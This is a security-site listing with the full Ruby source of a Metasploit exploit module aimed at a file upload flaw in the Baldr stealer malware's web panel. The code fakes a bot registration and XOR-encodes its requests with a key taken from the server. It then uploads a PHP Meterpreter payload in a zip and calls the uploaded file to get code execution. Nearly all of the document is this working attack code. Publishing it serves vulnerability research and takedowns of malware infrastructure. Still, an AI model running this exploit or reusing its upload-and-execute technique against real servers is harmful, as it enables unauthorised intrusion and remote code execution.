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Baldr Botnet Panel Shell Upload

Baldr Botnet Panel Shell Upload
Posted Aug 8, 2019
Authored by Ege Balci | Site metasploit.com

This Metasploit module exploits the file upload vulnerability of baldr malware panel in order to achieve arbitrary code execution.

tags | exploit, arbitrary, code execution, file upload
MD5 | 778905bbbb01d90fd4b94eba8679d244

Baldr Botnet Panel Shell Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Baldr Botnet Panel Shell Upload Exploit",
'Description' => %q{
This module exploits the file upload vulnerability of baldr malware panel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balc─▒ <ege.balci@invictuseurope.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['Auto',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr <= v2.0',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v2.2',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v3.0 & v3.1',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")
)

ver = ''

if res.code == 200
if res.body.include?('~;~')
targets[3] = targets[0]
#target = targets[3]
ver = '>= v3.0'
elsif res.body.include?(';')
#target = targets[2]
targets[2] = targets[0]
ver = 'v2.2'
elsif res.body.size < 4
targets[1] = targets[0]
#target = targets[1]
ver = '<= v2.0'
else
Exploit::CheckCode::Safe
end
print_status("Baldr verison: #{ver}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit

name = '.'+Rex::Text.rand_text_alpha(4)
files =
[
{data: payload.encoded, fname: "#{name}.php"}
]
zip = Msf::Util::EXE.to_zip(files)
hwid = Rex::Text.rand_text_alpha(8).upcase

if targets[0]
check
end


case target
when targets[3]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split('~;~')[0]
print_good("Key: #{key}")

data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
data = xor(data,key)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => data.to_s
}
)

if res.code == 200
print_good("Bot successfully registered.")
else
print_error("New bot register failed !")
return false
end

data = xor(zip.to_s,key)
form = Rex::MIME::Message.new
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end

when targets[2]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split(';')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
data << zip.to_s

result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => result.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
else
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => zip.to_s,
'encode_params' => true,
'vars_get' => {
'hwid' => hwid,
'os' => 'Windows 7 x64',
'cookie' => '0',
'pswd' => '0',
'credit' => '0',
'wallet' => '0',
'file' => '1',
'autofill' => '0',
'version' => 'v2.0'
}
)

if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
end


send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
)

print_good("Payload successfully triggered !")
end

def xor(data, key)
result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
return result
end


end
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